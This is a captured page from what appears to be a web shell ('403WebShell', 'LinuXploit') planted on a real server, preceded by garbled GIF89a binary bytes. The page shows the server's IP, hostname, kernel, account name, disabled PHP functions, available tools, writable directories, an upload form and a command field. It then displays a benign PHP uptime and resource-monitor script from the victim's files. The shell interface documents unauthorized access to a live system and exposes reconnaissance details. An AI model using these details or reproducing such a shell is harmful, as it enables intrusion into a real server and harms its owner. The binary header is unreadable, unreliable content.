GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ý NETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýý m&ýýE8ýSýkGýAýpxýaýýý R2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|s hýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPý ýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbx ýl5}ýpý ýýý ý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~ 6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5 !_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýý ýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp% AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ý ýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`A ý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý 403WebShell
403Webshell
Server IP : 217.18.85.50  /  Your IP : 18.227.46.87
Web Server : LiteSpeed
System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : ferhatgenc ( )
PHP Version : 7.2.34
Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/harun/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/harun/eski_uptime_used.php
<?php
// ========================================================================================================================================
//                                                                  Uptime (used resources)
// ========================================================================================================================================
//
// By Cameron Munroe ~ Mun
// Website: https://www.qwdsa.com/converse/threads/serverstatus-rebuild.43/ 
// Version 0.1
//
//
// should be cross compatiable with ServerStatus2 by @mojeda
// rebuild off the original uptime.php file, which can be found here:
// https://raw.githubusercontent.com/Munroenet/ServerStatus/master/uptime.php
// ========================================================================================================================================


// ========================================================================================================================================
//                                                                  Settings!
// ========================================================================================================================================

$dl = 90; // At this percent of usage we will show it as RED!
$wl = 75; // At this percent of usage we will show it as Yellow!

$dl2 = 90; // At this percent of usage we will show it as RED!
$wl2 = 75; // At this percent of usage we will show it as Yellow!

$dl3 = 90; // At this percent of usage we will show it as RED!
$wl3 = 75; // At this percent of usage we will show it as Yellow!

$memloc = '/proc/meminfo'; // This is where we get our info for meminfo.
// Debian / Ubuntu it is /proc/meminfo and should be the default for Linux!

$fileloc = '/'; // This is the drive we are monitoring!
$fileloc2 = '/ssd2'; // This is the drive we are monitoring!
$fileloc3 = '/tmp'; // This is the drive we are monitoring!

// You can change this to what ever folder you like, but root i.e. '/' is
// most important on your system!

$uptimeloc = '/proc/uptime'; // this is where we get our info for uptime!

$loadtime = 0; // the settings are:
//  0 for 1  minute average
//  1 for 5  minute average
//  2 for 15 minute average

// ========================================================================================================================================
//                                                                  Getting Data!
// ========================================================================================================================================
// You shouldn't edit anything below here, unless you know 
// what you are doing!

$post = array(); // this is the info that will be posted to the page,
// be careful what you put under this handle!

$internal = array(); // internal array!

$internal['uptime'] = explode('.', file_get_contents($uptimeloc), 2);
$internal['memraw'] = file_get_contents($memloc);
$internal['hddtotal'] = disk_total_space($fileloc);
$internal['hddfree'] = disk_free_space($fileloc);
$internal['hddtotal2'] = disk_total_space($fileloc2);
$internal['hddfree2'] = disk_free_space($fileloc2);
$internal['hddtotal3'] = disk_total_space($fileloc3);
$internal['hddfree3'] = disk_free_space($fileloc3);
$internal['load'] = sys_getloadavg();

// ========================================================================================================================================
//                                                              Process The Data!
// ========================================================================================================================================

// uptime
$post['uptime'] = sec2human($internal['uptime'][0]); // Processing uptime and putting in post field!
// uptime done!

	if(strpos(shell_exec('/usr/local/lsws/bin/lshttpd -t'), 'OK') !== true) {
		
$post['litespeed'] = '<div class="progress"><div class="bar bar-success" style="width: 100%;"><small>Up</small></div></div>';
	}else{
		
$post['litespeed'] = '<div class="progress"><div class="bar bar-success" style="width: 100%;"><small>down</small></div></div>';
	}


// memory
preg_match_all('/MemTotal:(.*)kB/', $internal['memraw'], $internal['memtotal']); // Get Total Memory!
$internal['memtotal'] = trim($internal['memtotal'][1][0], " ");  // Make nice.
preg_match_all('/MemFree:(.*)kB/', $internal['memraw'], $internal['memfree']); // Get Free Memory!
$internal['memfree'] = trim($internal['memfree'][1][0], " "); // Make nice.
preg_match_all('/Cached:(.*)kB/', $internal['memraw'], $internal['memcache']); // Get Cached Memory!
$internal['memfree'] = trim($internal['memcache'][1][0], " ") + $internal['memfree']; // Making cache seen as Free Memory!


$internal['memperc'] = round((($internal['memtotal'] - $internal['memfree']) / $internal['memtotal']) * 100); // calculations
$post['memory'] = levels($internal['memperc'], $dl, $wl);  // adding to the post field!
// memory done!

// HDD 
$internal['hddperc'] = round((($internal['hddtotal'] - $internal['hddfree']) / $internal['hddtotal']) * 100); // calculations!
$post['hdd'] = levels($internal['hddperc'], $dl, $wl); // adding hdd to the post field!
// HDD done! 

// HDD2 
$internal['hddperc2'] = round((($internal['hddtotal2'] - $internal['hddfree2']) / $internal['hddtotal2']) * 100); // calculations!
$post['disk'] = levels($internal['hddperc2'], $dl2, $wl2); // adding hdd to the post field!
// HDD2 done! 

// HDD3 
$internal['hddperc3'] = round((($internal['hddtotal3'] - $internal['hddfree3']) / $internal['hddtotal3']) * 100); // calculations!
$post['disk2'] = levels($internal['hddperc3'], $dl3, $wl3); // adding hdd to the post field!
// HDD3 done! 

// load 
$post['load'] = $internal['load'][$loadtime]; // posting load avg.
// load done

// Are we online?
$post['online'] = '<div class="progress"><div class="bar bar-success" style="width: 100%;"><small>Up</small></div></div>';
// YES WE ARE!

 if(file_exists("/usr/local/cpanel/cpanel.lisc")) {
    	
$post['cpanel'] = '<div class="progress"><div class="bar bar-success" style="width: 100%;"><small>Up</small></div></div>';
    }else {
    }
 


// ========================================================================================================================================
//                                                                  Post Data
// ========================================================================================================================================

echo json_encode($post); // Time to show the world what we are made of!
// ========================================================================================================================================
//                                                                  Functions
// ========================================================================================================================================

// This function determines what color bars we should be using!
function levels($perc, $dl, $wl){
    // make nice green bars
    if($perc < 30) {
        $width = 30;
    } else {
        $width = $perc;
    }
	if($perc > $dl) {
        $return = '<div class="progress progress-striped active"><div class="bar bar-danger" style="width: ' . $width . '%;">' . $perc . '%</div></div>';
    }
	elseif($perc > $wl) {
        $return = '<div class="progress progress-striped active"><div class="bar bar-warning" style="width: ' . $width . '%;">' . $perc . '%</div></div>';
    }
	else { 
        $return = '<div class="progress progress-striped active"><div class="bar bar-success" style="width: ' . $width . '%;">' . $perc . '%</div></div>';
    }
    return $return;
    
}



// Sec2Human is from the original Script
function sec2human($time) {
  $seconds = $time%60;
	$mins = floor($time/60)%60;
	$hours = floor($time/60/60)%24;
	$days = floor($time/60/60/24);
	return $days > 0 ? $days . ' day'.($days > 1 ? 's' : '') : $hours.':'.$mins.':'.$seconds;
}

// ========================================================================================================================================
//                                                                  Done
// ========================================================================================================================================

?>

Youez - 2016 - github.com/yon3zu
LinuXploit